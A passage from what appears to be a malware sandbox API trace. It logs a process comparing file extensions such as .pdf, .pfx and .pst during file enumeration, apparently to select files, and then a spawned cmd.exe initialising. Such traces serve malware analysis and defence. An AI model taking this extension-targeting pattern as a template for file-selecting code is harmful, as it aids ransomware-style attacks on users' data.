(lpString1=".odm", lpString2=".msi") returned 1 [0062.323] lstrcmpiW (lpString1=".odp", lpString2=".msi") returned 1 [0062.323] lstrcmpiW (lpString1=".ods", lpString2=".msi") returned 1 [0062.323] lstrcmpiW (lpString1=".oft", lpString2=".msi") returned 1 [0062.323] lstrcmpiW (lpString1=".one", lpString2=".msi") returned 1 [0062.323] lstrcmpiW (lpString1=".onepkg", lpString2="2WW.msi") returned -1 [0062.323] lstrcmpiW (lpString1=".onetoc2", lpString2="32WW.msi") returned -1 [0062.323] lstrcmpiW (lpString1=".opt", lpString2=".msi") returned 1 [0062.323] lstrcmpiW (lpString1=".oqy", lpString2=".msi") returned 1 [0062.323] lstrcmpiW (lpString1=".orf", lpString2=".msi") returned 1 [0062.324] lstrcmpiW (lpString1=".p12", lpString2=".msi") returned 1 [0062.324] lstrcmpiW (lpString1=".p7b", lpString2=".msi") returned 1 [0062.324] lstrcmpiW (lpString1=".p7c", lpString2=".msi") returned 1 [0062.324] lstrcmpiW (lpString1=".pam", lpString2=".msi") returned 1 [0062.324] lstrcmpiW (lpString1=".pbm", lpString2=".msi") returned 1 [0062.324] lstrcmpiW (lpString1=".pct", lpString2=".msi") returned 1 [0062.324] lstrcmpiW (lpString1=".pcx", lpString2=".msi") returned 1 [0062.325] lstrcmpiW (lpString1=".pdd", lpString2=".msi") returned 1 [0062.325] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0062.325] lstrcmpiW (lpString1=".pdp", lpString2=".msi") returned 1 [0062.325] lstrcmpiW (lpString1=".pef", lpString2=".msi") returned 1 [0062.325] lstrcmpiW (lpString1=".pem", lpString2=".msi") returned 1 [0062.325] lstrcmpiW (lpString1=".pff", lpString2=".msi") returned 1 [0062.325] lstrcmpiW (lpString1=".pfm", lpString2=".msi") returned 1 [0062.325] lstrcmpiW (lpString1=".pfx", lpString2=".msi") returned 1 [0062.326] lstrcmpiW (lpString1=".pgm", lpString2=".msi") returned 1 [0062.326] lstrcmpiW (lpString1=".php", lpString2=".msi") returned 1 [0062.326] lstrcmpiW (lpString1=".php3", lpString2="W.msi") returned -1 [0062.326] lstrcmpiW (lpString1=".php4", lpString2="W.msi") returned -1 [0062.326] lstrcmpiW (lpString1=".php5", lpString2="W.msi") returned -1 [0062.326] lstrcmpiW (lpString1=".phtml", lpString2="WW.msi") returned -1 [0062.326] lstrcmpiW (lpString1=".pict", lpString2="W.msi") returned -1 [0062.326] lstrcmpiW (lpString1=".pl", lpString2="msi") returned -1 [0062.326] lstrcmpiW (lpString1=".pls", lpString2=".msi") returned 1 [0062.327] lstrcmpiW (lpString1=".pm", lpString2="msi") returned -1 [0062.327] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0062.327] lstrcmpiW (lpString1=".pnm", lpString2=".msi") returned 1 [0062.327] lstrcmpiW (lpString1=".pot", lpString2=".msi") returned 1 [0062.327] lstrcmpiW (lpString1=".potm", lpString2="W.msi") returned -1 [0062.327] lstrcmpiW (lpString1=".potx", lpString2="W.msi") returned -1 [0062.327] lstrcmpiW (lpString1=".ppa", lpString2=".msi") returned 1 [0062.327] lstrcmpiW (lpString1=".ppam", lpString2="W.msi") returned -1 [0062.327] lstrcmpiW (lpString1=".ppm", lpString2=".msi") returned 1 [0062.328] lstrcmpiW (lpString1=".pps", lpString2=".msi") returned 1 [0062.328] lstrcmpiW (lpString1=".ppsm", lpString2="W.msi") returned -1 [0062.328] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0062.328] lstrcmpiW (lpString1=".pptm", lpString2="W.msi") returned -1 [0062.328] lstrcmpiW (lpString1=".pptx", lpString2="W.msi") returned -1 [0062.328] lstrcmpiW (lpString1=".prn", lpString2=".msi") returned 1 [0062.328] lstrcmpiW (lpString1=".ps", lpString2="msi") returned -1 [0062.328] lstrcmpiW (lpString1=".psb", lpString2=".msi") returned 1 [0062.328] lstrcmpiW (lpString1=".psd", lpString2=".msi") returned 1 [0062.328] lstrcmpiW (lpString1=".pst", lpString2=".msi") returned 1 [0062.329] lstrcmpiW (lpString1=".ptx", lpString2=".msi") returned 1 [0062.329] lstrcmpiW (lpString1=".pub", lpString2=".msi") returned 1 [0062.329] lstrcmpiW (lpString1=".pwm", lpString2=".msi") returned 1 [0062.329] lstrcmpiW (lpString1=".pxr", lpString2=".msi") returned 1 [0062.329] lstrcmpiW (lpString1=".py", lpString2="msi") returned -1 [0062.329] lstrcmpiW (lpString1=".qt", lpString2="msi") returned -1 [0062.329] lstrcmpiW (lpString1=".r3d", lpString2=".msi") returned 1 [0062.329] lstrcmpiW (lpString1=".raf", lpString2=".msi") returned 1 [0062.330] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0062.330] lstrcmpiW (lpString1=".raw", lpString2=".msi") returned 1 [0062.330] lstrcmpiW (lpString1=".rdf", lpString2=".msi") returned 1 [0062.330] FindNextFileW (in: hFindFile=0x40210b8, lpFindFileData=0x3a7f58c | out: lpFindFileData=0x3a7f58c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x16771fb0, ftCreationTime.dwHighDateTime=0x1cb12b4, ftLastAccessTime.dwLowDateTime=0x16771fb0, ftLastAccessTime.dwHighDateTime=0x1cb12b4, ftLastWriteTime.dwLowDateTime=0x46536400, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 Thread: id = 20 os_tid = 0x86c Process: id = "2" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x339f2000" os_pid = "0x990" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0xac0" cmd_line = "\"C:\\Windows\\system32\\cmd.exe\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 3 os_tid = 0x594 [0058.321] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x28fe50 | out: lpSystemTimeAsFileTime=0x28fe50*(dwLowDateTime=0xbad92660, dwHighDateTime=0x1d5e0c8)) [0058.321] GetCurrentProcessId () returned 0x990 [0058.321] GetCurrentThreadId () returned 0x594 [0058.321] GetTickCount () returned 0x1156f47 [0058.321] QueryPerformanceCounter (in: lpPerformanceCount=0x28fe58 | out: lpPerformanceCount=0x28fe58*=19944975158) returned 1 [0058.323] GetModuleHandleW (lpModuleName=0x0) returned 0x4a8e0000 [0058.323] __set_app_type (_Type=0x1) [0058.323] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a907810) returned 0x0 [0058.324] __getmainargs (in: _Argc=0x4a92a608, _Argv=0x4a92a618, _Env=0x4a92a610, _DoWildCard=0, _StartInfo=0x4a90e0f4 | out: _Argc=0x4a92a608, _Argv=0x4a92a618, _Env=0x4a92a610) returned 0 [0058.325] GetCurrentThreadId () returned 0x594 [0058.325] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x594) returned 0x3c [0058.455] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76f20000 [0058.455] GetProcAddress (hModule=0x76f20000, lpProcName="SetThreadUILanguage") returned 0x76f36d40 [0058.455] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0058.456] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0058.456] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x28fde8 | out: phkResult=0x28fde8*=0x0) returned 0x2 [0058.457] VirtualQuery (in: lpAddress=0x28fdd0, lpBuffer=0x28fd50, dwLength=0x30 | out: lpBuffer=0x28fd50*(BaseAddress=0x28f000, AllocationBase=0x190000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0058.457] VirtualQuery (in: lpAddress=0x190000, lpBuffer=0x28fd50, dwLength=0x30 | out: lpBuffer=0x28fd50*(BaseAddress=0x190000, AllocationBase=0x190000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0058.457] VirtualQuery (in: lpAddress=0x191000, lpBuffer=0x28fd50, dwLength=0x30 | out: lpBuffer=0x28fd50*(BaseAddress=0x191000, AllocationBase=0x190000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0058.459] VirtualQuery (in: lpAddress=0x194000, lpBuffer=0x28fd50, dwLength=0x30 | out: lpBuffer=0x28fd50*(BaseAddress=0x194000, AllocationBase=0x190000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0058.459] VirtualQuery (in: lpAddress=0x290000, lpBuffer=0x28fd50, dwLength=0x30 | out: lpBuffer=0x28fd50*(BaseAddress=0x290000, AllocationBase=0x290000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xe000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0058.460] GetConsoleOutputCP () returned 0x1b5 [0058.460] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a91bfe0 | out: lpCPInfo=0x4a91bfe0) returned 1 [0058.461] SetConsoleCtrlHandler (HandlerRoutine=0x4a903184, Add=1) returned 1 [0058.461] _get_osfhandle (_FileHandle=1) returned 0xf4 [0058.461] SetConsoleMode (hConsoleHandle=0xf4, dwMode=0x0) returned 0 [0058.462] _get_osfhandle (_FileHandle=1) returned 0xf4 [0058.462] GetConsoleMode (in: hConsoleHandle=0xf4, lpMode=0x4a90e194 | out: lpMode=0x4a90e194) returned 0 [0058.462] _get_osfhandle (_FileHandle=0) returned 0xe8 [0058.462] GetConsoleMode (in: hConsoleHandle=0xe8, lpMode=0x4a90e198 | out: lpMode=0x4a90e198) returned 0 [0058.463] GetEnvironmentStringsW () returned 0x3b8a60* [0058.463] GetProcessHeap () returned 0x3a0000 [0058.463] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0xa7c) returned 0x3b94f0 [0058.463] FreeEnvironmentStringsW (penv=0x3b8a60) returned 1 [0058.464] GetProcessHeap () returned 0x3a0000 [0058.464] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x8) returned 0x3b88e0 [0058.464] GetEnvironmentStringsW () returned 0x3b8a60* [0058.464] GetProcessHeap () returned 0x3a0000 [0058.464] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0xa7c) returned 0x3b9f80 [0058.464] FreeEnvironmentStringsW (penv=0x3b8a60) returned 1 [0058.465] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x28eca8 | out: phkResult=0x28eca8*=0x44) returned 0x0 [0058.465] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x28eca0, lpData=0x28ecc0, lpcbData=0x28eca4*=0x1000 | out: lpType=0x28eca0*=0x0, lpData=0x28ecc0*=0x18, lpcbData=0x28eca4*=0x1000) returned 0x2 [0058.465] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x28eca0, lpData=0x28ecc0, lpcbData=0x28eca4*=0x1000 | out: lpType=0x28eca0*=0x4, lpData=0x28ecc0*=0x1, lpcbData=0x28eca4*=0x4) returned 0x0 [0058.465] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x28eca0, lpData=0x28ecc0, lpcbData=0x28eca4*=0x1000 | out: lpType=0x28eca0*=0x0, lpData=0x28ecc0*=0x1, lpcbData=0x28eca4*=0x1000) returned 0x2 [0058.465] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x28eca0, lpData=0x28ecc0, lpcbData=0x28eca4*=0x1000 | out: lpType=0x28eca0*=0x4, lpData=0x28ecc0*=0x0, lpcbData=0x28eca4*=0x4) returned 0x0 [0058.465] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x28eca0, lpData=0x28ecc0, lpcbData=0x28eca4*=0x1000 | out: lpType=0x28eca0*=0x4, lpData=0x28ecc0*=0x40, lpcbData=0x28eca4*=0x4) returned 0x0 [0058.466] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x28eca0, lpData=0x28ecc0, lpcbData=0x28eca4*=0x1000 | out: lpType=0x28eca0*=0x4, lpData=0x28ecc0*=0x40, lpcbData=0x28eca4*=0x4) returned 0x0 [0058.466] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x28eca0, lpData=0x28ecc0, lpcbData=0x28eca4*=0x1000 | out: lpType=0x28eca0*=0x0, lpData=0x28ecc0*=0x40, lpcbData=0x28eca4*=0x1000) returned 0x2 [0058.466] RegCloseKey (hKey=0x44) returned 0x0 [0058.466] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x28eca8 | out: phkResult=0x28eca8*=0x44) returned 0x0 [0058.466] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x28eca0, lpData=0x28ecc0, lpcbData=0x28eca4*=0x1000 | out: lpType=0x28eca0*=0x0, lpData=0x28ecc0*=0x40, lpcbData=0x28eca4*=0x1000) returned 0x2 [0058.467] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x28eca0, lpData=0x28ecc0, lpcbData=0x28eca4*=0x1000 | out: lpType=0x28eca0*=0x4, lpData=0x28ecc0*=0x1, lpcbData=0x28eca4*=0x4) returned 0x0 [0058.467] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x28eca0, lpData=0x28ecc0, lpcbData=0x28eca4*=0x1000 | out: lpType=0x28eca0*=0x0, lpData=0x28ecc0*=0x1, lpcbData=0x28eca4*=0x1000) returned 0x2 [0058.467] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x28eca0, lpData=0x28ecc0, lpcbData=0x28eca4*=0x1000 | out: lpType=0x28eca0*=0x4, lpData=0x28ecc0*=0x0, lpcbData=0x28eca4*=0x4) returned 0x0 [0058.467] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x28eca0, lpData=0x28ecc0, lpcbData=0x28eca4*=0x1000 | out: lpType=0x28eca0*=0x4, lpData=0x28ecc0*=0x9, lpcbData=0x28eca4*=0x4) returned 0x0 [0058.467] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x28eca0, lpData=0x28ecc0, lpcbData=0x28eca4*=0x1000 | out: lpType=0x28eca0*=0x4, lpData=0x28ecc0*=0x9, lpcbData=0x28eca4*=0x4) returned 0x0 [0058.467] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x28eca0, lpData=0x28ecc0, lpcbData=0x28eca4*=0x1000 | out: lpType=0x28eca0*=0x0, lpData=0x28ecc0*=0x9, lpcbData=0x28eca4*=0x1000) returned 0x2 [0058.467] RegCloseKey (hKey=0x44) returned 0x0 [0058.468] time (in: timer=0x0 | out: timer=0x0) returned 0x5e428661 [0058.468] srand (_Seed=0x5e428661) [0058.468] GetCommandLineW () returned="\"C:\\Windows\\system32\\cmd.exe\"" [0058.468] GetCommandLineW () returned="\"C:\\Windows\\system32\\cmd.exe\"" [0058.468] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a91c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0058.469] GetProcessHeap () returned 0x3a0000 [0058.469] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x218) returned 0x3baa10 [0058.469] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x3baa20, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0058.470] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a90f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0058.470] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a90f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0058.470] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a90f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0058.470] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0058.471] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0058.471] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0058.471] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0058.471] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0058.471] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0058.471] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0058.471] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0058.478] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0058.478] GetProcessHeap () returned 0x3a0000 [0058.478] HeapFree (in: hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3b94f0 | out: hHeap=0x3a0000) returned 1 [0058.478] GetEnvironmentStringsW () returned 0x3b8a60* [0058.478] GetProcessHeap () returned 0x3a0000 [0058.478] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0xa94) returned 0x3bac30 [0058.479] FreeEnvironmentStringsW (penv=0x3b8a60) returned 1 [0058.479] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a90f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0058.479] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a90f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0058.479] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0058.479] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0058.479] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0058.479] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0058.479] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0058.479] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0058.479] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0058.479] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0058.479] GetProcessHeap () returned 0x3a0000 [0058.480] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x5c) returned 0x3bb6d0 [0058.480] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x28fab0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0058.480] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x28fab0, lpFilePart=0x28fa90 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x28fa90*="Desktop") returned 0x25 [0058.480] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0058.480] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x28f7c0 | out: lpFindFileData=0x28f7c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x53000152, cFileName="Users", cAlternateFileName="")) returned 0x3bb740 [0058.481] FindClose (in: hFindFile=0x3bb740 | out: hFindFile=0x3bb740) returned 1 [0058.481] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x28f7c0 | out: lpFindFileData=0x28f7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x53000152, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x3bb740 [0058.481] FindClose (in: hFindFile=0x3bb740 | out: hFindFile=0x3bb740) returned 1 [0058.481] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0058.481] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x28f7c0 | out: lpFindFileData=0x28f7c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xae69fbc0, ftLastAccessTime.dwHighDateTime=0x1d5e0c8, ftLastWriteTime.dwLowDateTime=0xae69fbc0, ftLastWriteTime.dwHighDateTime=0x1d5e0c8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x53000152, cFileName="Desktop", cAlternateFileName="")) returned 0x3bb740 [0058.482] FindClose (in: hFindFile=0x3bb740 | out: hFindFile=0x3bb740) returned 1 [0058.482] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0058.482] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0058.482] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0058.482] GetProcessHeap () returned 0x3a0000 [0058.482] HeapFree (in: hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3bac30 | out: hHeap=0x3a0000) returned 1 [0058.482] GetEnvironmentStringsW () returned 0x3bb740* [0058.483] GetProcessHeap () returned 0x3a0000 [0058.483] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0xae8) returned 0x3bc230 [0058.483] FreeEnvironmentStringsW (penv=0x3bb740) returned 1 [0058.483] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a91c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0058.483] GetProcessHeap () returned 0x3a0000 [0058.483] HeapFree (in: hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3bb6d0 | out: hHeap=0x3a0000) returned 1 [0058.483] GetProcessHeap () returned 0x3a0000 [0058.483] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x8, Size=0x4016) returned 0x3bcd20 [0058.484] GetProcessHeap () returned 0x3a0000 [0058.484] HeapFree (in: hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3bcd20 | out: hHeap=0x3a0000) returned 1 [0058.484] GetConsoleOutputCP () returned 0x1b5 [0058.485] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a91bfe0 | out: lpCPInfo=0x4a91bfe0) returned 1 [0058.485] GetUserDefaultLCID () returned 0x409 [0058.486] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a917b50, cchData=8 | out: lpLCData=":") returned 2 [0058.486] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x28fbc0, cchData=128 | out: lpLCData="0") returned 2 [0058.486] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x28fbc0, cchData=128 | out: lpLCData="0") returned 2 [0058.486] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x28fbc0, cchData=128 | out: lpLCData="1") returned 2 [0058.487] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a92a740, cchData=8 | out: lpLCData="/") returned 2 [0058.487] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a92a4a0, cchData=32 | out: lpLCData="Mon") returned 4 [0058.488] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a92a460, cchData=32 | out: lpLCData="Tue") returned 4 [0058.488] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a92a420, cchData=32 | out: lpLCData="Wed") returned 4 [0058.488] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a92a3e0, cchData=32 | out: lpLCData="Thu") returned 4 [0058.489] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a92a3a0, cchData=32 | out: lpLCData="Fri") returned 4 [0058.489] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a92a360, cchData=32 | out: lpLCData="Sat") returned 4 [0058.489] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a92a700, cchData=32 | out: lpLCData="Sun") returned 4 [0058.489] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a917b40, cchData=8 | out: lpLCData=".") returned 2 [0058.489] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a92a4e0, cchData=8 | out: lpLCData=",") returned 2 [0058.489] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0058.491] GetProcessHeap () returned 0x3a0000 [0058.491] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0x0, Size=0x20c) returned 0x3b95c0 [0058.491] GetConsoleTitleW (in: lpConsoleTitle=0x3b95c0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0058.492] _get_osfhandle (_FileHandle=1) returned 0xf4 [0058.492] GetFileType (hFile=0xf4) returned 0x3 [0058.493] BrandingFormatString () returned 0x3b97e0 [0058.506] GetVersion () returned 0x1db10106 [0058.506] _vsnwprintf (in: _Buffer=0x28fd30, _BufferCount=0x1f, _Format="%d.%d.%04d", _ArgList=0x28fcc8 | out: _Buffer="6.1.7601") returned 8 [0058.506] _get_osfhandle (_FileHandle=1) returned 0xf4 [0058.506] GetFileType (hFile=0xf4) returned 0x3 [0058.506] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x4a926340, nSize=0x2000, Arguments=0x0 | out: lpBuffer="Microsoft Windows [Version %1]") returned 0x1e [0058.507] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x4a926340, nSize=0x2000, Arguments=0x28fcd0 | out: lpBuffer="Microsoft Windows [Version 6.1.7601]") returned 0x24 [0058.507] _get_osfhandle (_FileHandle=1) returned 0xf4 [0058.507] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Windows [Version 6.1.7601]", cchWideChar=-1, lpMultiByteStr=0x4a91c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Windows [Version 6.1.7601]", lpUsedDefaultChar=0x0) returned 37 [0058.507] WriteFile (in: hFile=0xf4, lpBuffer=0x4a91c320*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0x28fc58, lpOverlapped=0x0 | out: lpBuffer=0x4a91c320*, lpNumberOfBytesWritten=0x28fc58*=0x24, lpOverlapped=0x0) returned 1 [0058.507] _vsnwprintf (in: _Buffer=0x4a926340, _BufferCount=0x1fff, _Format="\r\n", 